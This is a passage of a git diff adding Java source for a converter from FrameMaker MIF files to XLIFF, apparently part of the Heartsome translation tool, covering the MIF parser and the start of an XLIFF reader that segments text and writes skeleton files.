mode 100644 index 0000000..0846558 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/MifParser.java @@ -0,0 +1,833 @@ +package net.heartsome.cat.converter.mif.parser; + +import java.io.BufferedReader; +import java.io.EOFException; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.Stack; + +import net.heartsome.cat.converter.mif.bean.Frame; +import net.heartsome.cat.converter.mif.bean.Marker; +import net.heartsome.cat.converter.mif.bean.MifParseBuffer; +import net.heartsome.cat.converter.mif.bean.Page; +import net.heartsome.cat.converter.mif.bean.Table; +import net.heartsome.cat.converter.mif.bean.TextFlow; +import net.heartsome.cat.converter.mif.bean.TextRect; +import net.heartsome.cat.converter.mif.common.MifParseException; +import net.heartsome.cat.converter.mif.common.UnSuportedFileExcetption; +import net.heartsome.cat.converter.mif.resource.Messages; + +public class MifParser { + /** File start offset */ + private int sos; + + /** File end offset */ + private int eos; + + /** The temporary offset */ + private int tos; + + /** File content in char array */ + char[] doc; + + /** The MIF parse buffer */ + MifParseBuffer mpbf; + + /** Current character */ + private char ch; + + /** MIF reader */ + private MifReader r; + + private Stack nameStack; + + public MifParser() { + r = new MifReader(); + mpbf = new MifParseBuffer(); + nameStack = new Stack(); + } + + public void parseFile(String file, String encoding) throws IOException, MifParseException, UnSuportedFileExcetption { + + File path = new File(file); + FileInputStream in = new FileInputStream(path); + InputStreamReader inr = new InputStreamReader(in, encoding); + BufferedReader bfr = new BufferedReader(inr); + + char[] doc = new char[(int) path.length()]; + bfr.read(doc); + + in.close(); + bfr.close(); + inr.close(); + + setDoc(doc); + parse(); + } + + public void setDoc(char[] doc) throws MifParseException { + if (doc.length == 0) { + throw new MifParseException("Invalidate file"); + } + this.doc = doc; + sos = 0; + eos = doc.length; + decideEncoding(); + + validateFile(); + } + + public void parse() throws EOFException, MifParseException { + ch = r.getCharAfterIgnore(); + int start = 0; // the top level element start offset + int markerFlg = 0; // the embed element start offset + while (true) { + switch (ch) { + case '<': + tos = sos - 1; // the statement start offset + String name = getStatmentName(); + nameStack.push(name); + // System.out.println(name); + if (name.equals("aframes")) { + start = tos; + } else if (name.equals("tbl")) { + start = tos; + } else if (name.equals("page")) { + start = tos; + } else if (name.equals("textflow")) { + start = tos; + } else if (name.equals("importobject")) { + // the ImportObject statement individual parse + // the ImportObject statement contained specification of object data + parseImportObejct(); + } else if (name.equals("marker")) { + // parse the marker element and get the index and cross-ref info + // This implement at 2012-08-15 for new requirement of extract the index text + markerFlg = tos; + } else if (name.equals("mtype") && markerFlg != 0) { + // check marker type + String v = getContentEndBy('>').trim(); + if (!v.equals("2")) { + // 9: cross-ref , 2 : index + markerFlg = 0; + } + } else if (name.equals("mtext") && markerFlg != 0) { + // extract marker text + ch = r.getCharAfterIgnore(); + if (ch == '`') { + int strsos = sos; + String text = getValue(); + int streos = sos; + if (text.length() != 0) { + Marker m = new Marker(strsos, streos, text); + mpbf.appendMarker(m); + markerFlg = 0; + } + } + } + break; + case '`': + getValue(); // skip the value + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("aframes")) { + // System.out.println(new String(doc,start,sos - start)); + int tempEos = eos; + eos = sos; + sos = start; + parseAframes(); + eos = tempEos; + start = 0; // rest the record + } else if (name.equals("tbl")) { + int tempEos = eos; + eos = sos; + sos = start; + Table tbl = parseTables(); + if (tbl.validate()) { + mpbf.appendTbale(tbl); + } + eos = tempEos; + start = 0; // rest the record + } else if (name.equals("page")) { + int tempEos = eos; + eos = sos; + sos = start; + Page page = parsePage(); + if (page.validate()) { + mpbf.appendPage(page); + } + eos = tempEos; + start = 0; // rest the record + } else if (name.equals("textflow")) { + int tempEos = eos; + eos = sos; + sos = start; + TextFlow tf = parseTextFlow(); + if (tf.validate()) { + mpbf.appendTextFlow(tf); + } + eos = tempEos; + start = 0; // rest the record + } + break; + default: + + break; + } + + if (sos == eos) { + return; + } + ch = r.getChar(); + } + } + + /** + * ç›®å‰åªå¤„ç†äº†UTF-8ç¼–ç çš„BOMä¿¡æ¯ + * @throws MifParseException ; + */ + private void decideEncoding() throws MifParseException { + if (doc.length == 0) { + throw new MifParseException("当å‰æ–‡ä»¶æ˜¯ä¸€ä¸ªç©ºæ–‡ä»¶"); + } + StringBuffer bf = new StringBuffer(); + for (int i = 0; i < doc.length; i++) { + char ch = doc[i]; + if (ch == '\n' && bf.length() != 0) { + break; + } + bf.append(ch); + } + byte[] bys = bf.toString().getBytes(); + + if (bys[0] == -17) { + if (bys[1] == -69 && bys[2] == -65) { + sos += 1; + } + } + } + + private void validateFile() throws MifParseException { + try { + ch = r.getCharAfterIgnore(); + + if (ch != '<') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.fileNotStartProperly") + + formatLineNumber()); + } + tos = sos; + String name = getContentEndBy(' ').toLowerCase(); + if (!name.equals("miffile")) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.fileNotStartProperly") + + formatLineNumber(tos)); + } + + tos = sos; + String version = getContentEndBy('>'); + try { + float f = Float.parseFloat(version); + if (f == 7.00 || f == 8.00 || f == 9.00 || f == 10.0) { + + } else { + throw new MifParseException(MessageFormat.format(Messages.getString("mif.Mif2Xliff.unsuportVersion") + formatLineNumber(tos), f)); + } + } catch (NumberFormatException e) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.invalidateVersionInfo") + + formatLineNumber()); + } + if (r.getChar() != '>') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + } catch (EOFException e) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.fileEndError")); + } + } + + private void parseImportObejct() throws EOFException, MifParseException { + ch = r.getCharAfterIgnore(); + if (ch != '<') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + formatLineNumber()); + } + while (true) { + switch (ch) { + case '<': + String name = getStatmentName(); + nameStack.push(name); + break; + case '`': + getValue(); // skip the content + break; + case '=': + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + if (nameStack.get(nameStack.size() - 1).equals("importobject")) { + // check the parent statement, ensure the line is the object data describing line + String endflag = ""; // end of the data describing the imported object + do { + getContentEndBy('\n'); // read to end of line + ch = r.getCharAfterIgnore(); + if (ch != '&') { + throw new MifParseException( + Messages.getString("mif.Mif2Xliff.invalidateDataDescribingOfObject") + + formatLineNumber()); + } + while (ch == '&') { // Data describing line + getContentEndBy('\n'); // skip it + ch = r.getCharAfterIgnore(); + } + if (ch != '=') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + + formatLineNumber()); + } + endflag = getContentEndBy('\n').trim(); + if (endflag == null) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + + formatLineNumber()); + } + } while (!endflag.equalsIgnoreCase("EndInset")); + } + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("importobject")) { + // End of ImportObject statement + ch = r.getChar(); // read the next character and return, ensure continue to parse the file + return; + } + break; + default: + break; + } + + ch = r.getChar(); + } + } + + private void parseAframes() throws EOFException, MifParseException { + ch = r.getCharAfterIgnore(); + int start = 0; + while (true) { + switch (ch) { + case '<': + tos = sos - 1; + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("frame") && !nameStack.get(nameStack.size() - 2).equals("frame")) { + start = tos; + } else if (name.equals("importobject")) { + // the ImportObject statement individual parse + // the ImportObject statement contained specification of object data + parseImportObejct(); + } + break; + case '`': + getValue(); + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("frame")) { + // System.out.println(new String(doc,start,sos - start)); + int temp = nameStack.size() - 1; + if (temp < 0 || !nameStack.get(temp).equals("frame")) { + int tempEos = eos; + eos = sos; + sos = start; + Frame fm = parseFrame(); + mpbf.appendFrame(fm); + eos = tempEos; + } + } + + break; + default: + break; + } + + if (sos == eos) { + return; + } + ch = r.getChar(); + } + } + + private Frame parseFrame() throws EOFException, MifParseException { + Frame fm = new Frame(); + int tempsos = sos; // the top level frame start sos + fm.setOffset(sos); + fm.setEndOffset(eos); + int start = 0; + int framestart = 0; + ch = r.getCharAfterIgnore(); + while (true) { + switch (ch) { + case '<': + tos = sos - 1; + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("textrect")) { + start = tos; + } + if (name.equals("frame") && tos != tempsos) { + framestart = tos; + } + if (name.equals("id") && nameStack.get(nameStack.size() - 2).equals("frame")) { + String content = getContentEndBy('>'); + content = content.trim(); // clear space + fm.setId(content); + } + if (name.equals("importobject")) { + // the ImportObject statement individual parse + // the ImportObject statement contained specification of object data + parseImportObejct(); + } + break; + case '`': + getValue(); + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("textrect")) { + // System.out.println(new String(doc, start, sos - start)); + int tempEos = eos; + eos = sos; + sos = start; + TextRect tr = parseTextRect(); + if (tr.validate()) { + fm.appendTextRect(tr); + } + eos = tempEos; + } else if (name.equals("frame") && framestart != 0) { + System.out.println(new String(doc, framestart, sos - framestart)); + int tempEos = eos; + eos = sos; + sos = framestart; + Frame fm1 = parseFrame(); + mpbf.appendFrame(fm1); + eos = tempEos; + framestart = 0; // reset for next time use + } + + break; + default: + break; + } + + if (sos == eos) { + return fm; + } + ch = r.getChar(); + } + } + + private TextRect parseTextRect() throws EOFException, MifParseException { + TextRect tr = new TextRect(); + ch = r.getCharAfterIgnore(); + while (true) { + switch (ch) { + case '<': + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("id")) { + String content = getContentEndBy('>'); + content = content.trim(); // clear the space + tr.setId(content); + } + if (name.equals("shaperect")) { + tos = sos; + String content = getContentEndBy('>'); + + char[] c = content.toCharArray(); + String[] r = new String[4]; + StringBuffer bf = new StringBuffer(); + int j = 0; + for (int i = 0; i < c.length; i++) { + char m = c[i]; + if ((m >= '0' && m <= '9') || m == '.') { + bf.append(m); + } + if (m == ' ' && bf.length() != 0) { + r[j++] = bf.toString(); + bf.delete(0, bf.length()); + } + } + + if (r.length != 4) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + + formatLineNumber(tos)); + } + String vp = r[1]; + char e = vp.charAt(vp.length() - 1); + if (e < '0' && e > '9') { + vp = vp.substring(0, vp.length() - 1); + } + + tr.setvPosition(vp); + } + break; + case '`': + getValue(); + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + nameStack.pop(); + break; + default: + break; + } + if (sos == eos) { + return tr; + } + ch = r.getChar(); + } + } + + private Table parseTables() throws EOFException, MifParseException { + Table tbl = new Table(); + tbl.setOffset(sos); + tbl.setEndOffset(eos); + ch = r.getCharAfterIgnore(); + while (true) { + switch (ch) { + case '<': + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("tblid")) { + String content = getContentEndBy('>'); + content = content.trim(); // clear the space + tbl.setId(content); + } + break; + case '`': + getValue(); + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + nameStack.pop(); + break; + default: + break; + } + if (sos == eos) { + return tbl; + } + ch = r.getChar(); + } + } + + private Page parsePage() throws EOFException, MifParseException { + Page page = new Page(); + page.setOffset(sos); + page.setEndOffset(eos); + + int start = 0; + ch = r.getCharAfterIgnore(); + while (true) { + switch (ch) { + case '<': + tos = sos - 1; + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("pagetype")) { + String content = getContentEndBy('>'); + content = content.trim(); + page.setPageType(content); + } + if (name.equals("pagetag")) { + ch = r.getCharAfterIgnore(); + String pageTag = getValue(); + pageTag = pageTag.trim(); + page.setPageTag(pageTag); + } + if (name.equals("textrect")) { + start = tos; + } + if (name.equals("importobject")) { + // the ImportObject statement individual parse + // the ImportObject statement contained specification of object data + parseImportObejct(); + } + break; + case '`': + getValue(); + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("textrect")) { + // System.out.println(new String(doc,start,sos - start)); + int tempEos = eos; + eos = sos; + sos = start; + TextRect tr = parseTextRect(); + if (tr.validate()) { + page.appendTextRect(tr); + } + eos = tempEos; + start = 0; + } + break; + default: + break; + } + if (sos == eos) { + return page; + } + ch = r.getChar(); + } + } + + private TextFlow parseTextFlow() throws EOFException, MifParseException { + TextFlow tf = new TextFlow(); + tf.setOffset(sos); + tf.setEndOffset(eos); + + ch = r.getCharAfterIgnore(); + while (true) { + switch (ch) { + case '<': + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("textrectid") && (tf.getTextRectId() == null || tf.getTextRectId().equals(""))) { + String content = getContentEndBy('>'); + content = content.trim(); + tf.setTextRectId(content); + } + break; + case '`': + getValue(); + break; + case '>': + if (doc[sos - 2] == '\\') { + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + break; + default: + break; + } + if (sos == eos) { + return tf; + } + ch = r.getChar(); + } + } + + /** + * Get the text before specify character + * @return + * @throws EOFException + * @throws MifParseException + */ + private String getContentEndBy(char n) throws EOFException, MifParseException { + StringBuffer bf = new StringBuffer(); + if (n == '>') { + // need process escape character '>' represent as '\>' + char a = r.getCharAfterIgnore(); + char pre = a; + while (true) { + if (a == '>' && pre != '\\') { + break; + } + bf.append(a); + pre = a; + a = r.getChar(); + } + } else { + char a = r.getCharAfterIgnore(); + while (a != n) { + bf.append(a); + a = r.getChar(); + } + } + sos--; + return bf.toString(); + } + + /** + * Get current statement name + * @return + * @throws EOFException + * @throws MifParseException + * ; + */ + private String getStatmentName() throws EOFException, MifParseException { + StringBuffer bf = new StringBuffer(); + char a = r.getCharAfterIgnore(); + while (true) { // TODO validate '<' and '>' + if (a == ' ' || a == '\n' || a == '<' || a == '\r' || a == '\t') { + break; + } + bf.append(a); + a = r.getChar(); + } + sos--; + if (bf.length() == 0) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + formatLineNumber()); + } + return bf.toString().toLowerCase(); + } + + /** + * Get the statement value,the text in `' + * @return + * @throws MifParseException + * @throws EOFException + */ + private String getValue() throws MifParseException, EOFException { + // char n = r.getCharAfterIgnore(); + if (ch != '`') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + formatLineNumber()); + } + StringBuffer bf = new StringBuffer(); + char a = r.getChar(); + while (a != '\'') { + bf.append(a); + a = r.getChar(); + } + sos--; + return bf.toString(); + } + + private String formatLineNumber() { + return formatLineNumber(sos); + } + + private String formatLineNumber(int sos) { + int os = 0; + int lineNumber = 0; + int lineos = 0; + + while (os <= sos) { + if (doc[os] == '\n') { + lineNumber++; + lineos = os; + } + os++; + } + lineos = os - lineos; + + return "\n" + Messages.getString("mif.Mif2Xliff.linenumber") + (lineNumber + 1) + + Messages.getString("mif.Mif2Xliff.column") + (lineos - 1); + } + + class MifReader { + + public MifReader() { + } + + /** + * Get next character + * @return Return the next character + * @throws MifParseException + * @throws EOFException + */ + final public char getChar() throws MifParseException, EOFException { + if (sos >= eos) { + throw new EOFException(Messages.getString("mif.Mif2Xliff.fileEndError")); + } + char n = doc[sos++]; + if (n < 0) + throw new MifParseException(Messages.getString("mif.Mif2Xliff.characterError") + formatLineNumber()); + return n; + } + + /** + * Get the next char with ignore all \n,\t,\t and space + * @return the next none \n,\t,\t and space character + * @throws EOFException + * @throws MifParseException + */ + final public char getCharAfterIgnore() throws EOFException, MifParseException { + char n; + do { + n = getChar(); + if (n < 0) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.characterError") + formatLineNumber()); + } + if ((n == ' ' || n == '\n' || n == '\t' || n == '\r')) { + } else { + return n; + } + n = getChar(); + if ((n == ' ' || n == '\n' || n == '\t' || n == '\r')) { + } else { + return n; + } + } while (true); + } + + /** + * Skip the specification character + * @param ch + * character + * @return if the next character is the specification character ,then skip it and return true; if return false + * ,will do nothing + */ + final public boolean skipChar(char ch) { + if (ch == doc[sos]) { + sos++; + return true; + } else { + return false; + } + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/XliffReader.java b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/XliffReader.java new file mode 100644 index 0000000..b48d80b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.MIF/src/net/heartsome/cat/converter/mif/parser/XliffReader.java @@ -0,0 +1,817 @@ +package net.heartsome.cat.converter.mif.parser; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.EOFException; +import java.io.File; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.io.OutputStreamWriter; +import java.util.Comparator; +import java.util.List; +import java.util.Stack; + +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.mif.bean.Frame; +import net.heartsome.cat.converter.mif.bean.Marker; +import net.heartsome.cat.converter.mif.bean.MifParseBuffer; +import net.heartsome.cat.converter.mif.bean.MifReaderBuffer; +import net.heartsome.cat.converter.mif.bean.Page; +import net.heartsome.cat.converter.mif.bean.Table; +import net.heartsome.cat.converter.mif.bean.TextFlow; +import net.heartsome.cat.converter.mif.bean.TextRect; +import net.heartsome.cat.converter.mif.common.MifParseException; +import net.heartsome.cat.converter.mif.common.ReaderUtil; +import net.heartsome.cat.converter.mif.common.UnSuportedFileExcetption; +import net.heartsome.cat.converter.mif.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; + +public class XliffReader { + + /** Current doc */ + private char[] doc; + + /** The MIF parse buffer */ + private MifParseBuffer mpbf; + + /** The MIF file reader buffer */ + private MifReaderBuffer mrbf; + + /** The XLiff TransUnit index counter */ + private int xliffIdex; + + /** The String Segementer */ + private StringSegmenter strSger; + + /** The doc start offset */ + private int sos; + + /** The doc end offset */ + private int eos; + + /** The temporary offset */ + private int tempos; + + private BufferedWriter xlfOs; + + /** Source language code */ + private String srcLang; + + private MifReader r; + + private EOFException eofExp; + + /** The current character of doc */ + private char ch; + + private Stack nameStack; + + /** The Reader Util, provide the string common function */ + private ReaderUtil rUtil; + + private String mifEncoding; + + /** + * The constructor of XLIFF reader, the reader response to generate XLIFF file by + * {@link #readXliffFile(BufferedWriter, String, boolean, IProgressMonitor)} method and generate skeleton file by + * {@link #readSkeletonFile(BufferedWriter, IProgressMonitor)} method
    + * Notice : when create instance of this class, would load the MIF file and parse it by use the @param mifFile + * @param mifFile + * MIF file path + * @param encoding + * MIF file encoding + * @param sourceLanguage + * the language in MIF file + * @param strSger + * The string segementer, witch use the SRX to segment the paragraph of text + * @throws IOException + * @throws MifParseException + * @throws UnSuportedFileExcetption + */ + public XliffReader(String mifFile, String encoding, String sourceLanguage, StringSegmenter strSger) + throws IOException, MifParseException, UnSuportedFileExcetption { + loadFile(mifFile, encoding); + + this.mifEncoding = encoding; + this.strSger = strSger; + this.srcLang = sourceLanguage; + this.xliffIdex = 1; + } + + private void loadFile(String mifFile, String encoding) throws IOException, MifParseException, + UnSuportedFileExcetption { + MifParser parser = new MifParser(); + parser.parseFile(mifFile, encoding); + + this.doc = parser.doc; + this.mpbf = parser.mpbf; + + this.sos = 0; + this.eos = doc.length; + this.tempos = 0; + + this.mrbf = new MifReaderBuffer(); + this.r = new MifReader(); + this.eofExp = new EOFException("End of file"); + this.nameStack = new Stack(); + } + + /** + * After parse file, this method read the xliff file from the parse info + * @param xlfOs + * the xliff file out put stream + * @param iniFile + * the configure file of mif,witch define the ESC + * @param isReadMasterPage + * xliff contain the masterpage or not + * @param monitor + * the progress monitor + * @throws MifParseException + * @throws IOException + * ; + * @throws UnSuportedFileExcetption + */ + public void readXliffFile(BufferedWriter xlfOs, String iniFile, boolean isReadMasterPage, IProgressMonitor monitor) + throws MifParseException, IOException, UnSuportedFileExcetption { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + + rUtil = new ReaderUtil(iniFile); + + File xf = File.createTempFile("xliftemp", ".temp"); + + // first read the index + List markers = mpbf.getMarkers(); + if (markers.size() > 0) { + File f = File.createTempFile("miftemp", ".tmp"); + BufferedWriter tmpWriter = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f),mifEncoding)); + try { + this.xlfOs = new BufferedWriter(new FileWriter(xf)); + + // generate the xliff content to temporary file xf + for (Marker m : markers) { + outputSegmenet(rUtil.cleanString(m.getContent()), m.getOffset(), m.getEndOffset(), 1); + } + + // generate temporary file ,the file had extracted index content and contains '%%%index%%%' + readSkeletonFile(tmpWriter, null); + } finally { + if (tmpWriter != null) { + tmpWriter.close(); + } + if (this.xlfOs != null) { + this.xlfOs.close(); + } + } + // reload the temporary file + loadFile(f.getAbsolutePath(), mifEncoding); + + // after reload delete the temporary file + f.delete(); + } + + // second read the content + this.xlfOs = xlfOs; + List pages = mpbf.getPages(); + monitor.setTaskName(Messages.getString("mif.Mif2Xliff.task3")); + if (pages.size() == 0) { + // no pages specified ,direct read the Para statement + monitor.beginTask(Messages.getString("mif.Mif2Xliff.task3"), 1); + monitor.worked(1); + readPara(); + } else { + monitor.beginTask(Messages.getString("mif.Mif2Xliff.task3"), pages.size()); + for (Page page : pages) { + String pageType = page.getPageType().toLowerCase(); + if (pageType.equals("bodypage")) { + readPage(page); + } else if (pageType.indexOf("masterpage") != -1 && isReadMasterPage) { + readPage(page); + } + monitor.worked(1); + } + } + BufferedReader r = null; + try { + r = new BufferedReader(new FileReader(xf)); + String line = r.readLine(); + while (line != null) { + this.xlfOs.write(line + "\n"); + line = r.readLine(); + } + } finally { + if (r != null) { + r.close(); + } + xf.delete(); + } + monitor.done(); + } + + /** + * After parse file, this method read skeleton file from the parse info + * @param sklOs + * The skeleton file out put stream + * @param monitor + * the progress monitor + * @throws IOException + * ; + */ + public void readSkeletonFile(BufferedWriter sklOs, IProgressMonitor monitor) throws IOException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + List cbfs = mrbf.getBuffer(new Comparator() { + + public int compare(Object[] o1, Object[] o2) { + Integer v1 = (Integer) o1[1]; + int v2 = (Integer) o2[1]; + return v1.compareTo(v2); + } + }); + int off = 0; + int len = doc.length; + monitor.setTaskName(Messages.getString("mif.Mif2Xliff.task4")); + if (cbfs.size() == 0) { + monitor.beginTask(Messages.getString("mif.Mif2Xliff.task4"), 1); + sklOs.write(doc, off, len); + } else { + monitor.beginTask(Messages.getString("mif.Mif2Xliff.task4"), cbfs.size() + 1); + for (Object[] obj : cbfs) { + int index = (Integer) obj[0]; + int start = (Integer) obj[1]; + int end = (Integer) obj[2]; + int segNum = (Integer) obj[3]; + sklOs.write(doc, off, start - off); + off = end; + sklOs.write("%%%" + index + "%%%"); + while (segNum > 1) { + sklOs.write("\n%%%" + ++index + "%%%"); + segNum--; + } + monitor.worked(1); + } + sklOs.write(new String(doc, off, len - off).trim()); + monitor.worked(1); + } + monitor.done(); + } + + private void readPage(Page page) throws MifParseException, IOException { + List trs = page.getTextRects(); + readTextRect(trs); + } + + private void readTextRect(List trs) throws MifParseException, IOException { + for (TextRect tr : trs) { + String id = tr.getId(); + TextFlow tf = mpbf.getTextFlow(id); + if (tf == null) { + continue; + } + readTextFlow(tf); + } + } + + private void readTextFlow(TextFlow tf) throws MifParseException, IOException { + sos = tf.getOffset(); + eos = tf.getEndOffset(); + int parasos = 0; + + ch = r.getCharAfterIgnore(); + while (true) { + switch (ch) { + case '<': + tempos = sos - 1; + String name = getStatmentName(); + nameStack.push(name); + + if (name.equals("para")) { + parasos = tempos; + } + + break; + case '`': + getValue(); + break; + case '>': + if(doc[sos -2] == '\\'){ + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("para")) { + int tempEos = eos; + eos = sos; + sos = parasos; + // System.out.println(new String(doc,sos,eos -sos)); + readPara(); + eos = tempEos; + } + break; + default: + break; + } + + if (sos == eos) { + return; + } + ch = r.getChar(); + } + + } + + /** + * The sos and eos is the Para element start and end + * @throws MifParseException + * @throws IOException + */ + private void readPara() throws MifParseException, IOException { + ch = r.getCharAfterIgnore(); + if (ch != '<') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + formatLineNumber()); + } + int plsos = 0; // the first paraline start offset; + int plCounter = 0; + while (true) { + switch (ch) { + case '<': + tempos = sos - 1; + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("paraline")) { + // start ParaLine element + if (plsos == 0) { + plsos = tempos; + } + } + if (name.equals("incondition")) { + ch = r.getCharAfterIgnore(); + if (ch != '`') { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + + formatLineNumber()); + } + String val = getValue(); + if (val.equalsIgnoreCase("FM8_TRACK_CHANGES_ADDED") + || val.equalsIgnoreCase("FM8_TRACK_CHANGES_ADDED")) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.changeBarError")); + } + } + + break; + case '`': + getValue(); + break; + case '>': + if(doc[sos -2] == '\\'){ + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("paraline")) { + plCounter++; + } + if (name.equals("para")) { + int tempEos = eos; + int tempsos = sos; + eos = sos - 1; + sos = plsos; + // System.out.println(new String(doc,sos,eos -sos)); + readParalines(plCounter); + sos = tempsos; + eos = tempEos; + } + break; + default: + break; + } + + if (sos == eos) { + return; + } + ch = r.getChar(); + } + } + + private void readParalines(int plNum) throws MifParseException, IOException { + ch = r.getCharAfterIgnore(); + int strsos = 0; // string statement start offset + int streos = 0; // string statement end offset + int tagIdex = 1; // the index of tag + + int tagsos = 0; + int tageos = 0; + + int strCounter = 0; // the string statement counter,Count is greater + // than 1 + // will segment the content + StringBuffer extraValBf = new StringBuffer(); + // StringBuffer tagValBf = new StringBuffer(); + while (true) { + switch (ch) { + case '<': + tempos = sos - 1; + String name = getStatmentName(); + nameStack.push(name); + if (name.equals("paraline")) { + // flag = false; + tagsos = 0; + tageos = 0; + } + if (name.equals("string")) { + // start to extraction text content + ch = r.getCharAfterIgnore(); + String text = getValue(); + + if (extraValBf.length() == 0) { + // the first of string statement + strsos = tempos; + } else { + tageos = tempos; + } + if (tagsos != 0 && tageos != 0 && tagsos != tageos) { +// System.out.println(formatLineNumber(tagsos) +" "+ formatLineNumber(tageos)); + String tag = new String(doc, tagsos, tageos - tagsos); + if (tag.trim().length() != 0) { + extraValBf.append(""); + extraValBf.append(rUtil.cleanTag(tag)); + extraValBf.append(""); + } + tagsos = 0; + tageos = 0; + } + extraValBf.append(rUtil.cleanString(text)); + strCounter++; + } + if (name.equals("char")) { + String val = getContentEndBy('>'); + if (val.equals("HardReturn") && extraValBf.length() != 0) { + outputSegmenet(extraValBf.toString(), strsos, streos, strCounter); + strsos = 0; + streos = 0; + extraValBf.delete(0, extraValBf.length()); + tagsos = 0; + tageos = 0; + strCounter = 0; + } + } + if (name.equals("aframe")) { + String id = getContentEndBy('>'); + if (id == null || id.length() == 0) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + + formatLineNumber()); + } + Frame fm = mpbf.getFrame(id); + if (fm == null) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.noFrameFind") + + formatLineNumber()); + } + + // save extract text + if (extraValBf.length() != 0) { + outputSegmenet(extraValBf.toString(), strsos, streos, strCounter); + strsos = 0; + streos = 0; + extraValBf.delete(0, extraValBf.length()); + tagsos = 0; + tageos = 0; + strCounter = 0; + } + + List trs = fm.getTextRects(); + readTextRect(trs); + } + if (name.equals("atbl")) { + String id = getContentEndBy('>'); + if (id == null || id.length() == 0) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.statementError") + + formatLineNumber()); + } + Table tbl = mpbf.getTable(id); + if (tbl == null) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.noTableFind") + + formatLineNumber()); + } + + // save extract text + if (extraValBf.length() != 0) { + outputSegmenet(extraValBf.toString(), strsos, streos, strCounter); + strsos = 0; + streos = 0; + extraValBf.delete(0, extraValBf.length()); + tagsos = 0; + tageos = 0; + strCounter = 0; + } + + int tempsos = sos; + int tempeos = eos; + readTable(tbl); + sos = tempsos; + eos = tempeos; + } + break; + case '>': + if(doc[sos -2] == '\\'){ + break; + } + if (nameStack.isEmpty()) { + throw new MifParseException(Messages.getString("mif.Mif2Xliff.mismatchStartOrEndTag") + + formatLineNumber()); + } + name = nameStack.pop(); + if (name.equals("string")) { + // end of string statement + streos = 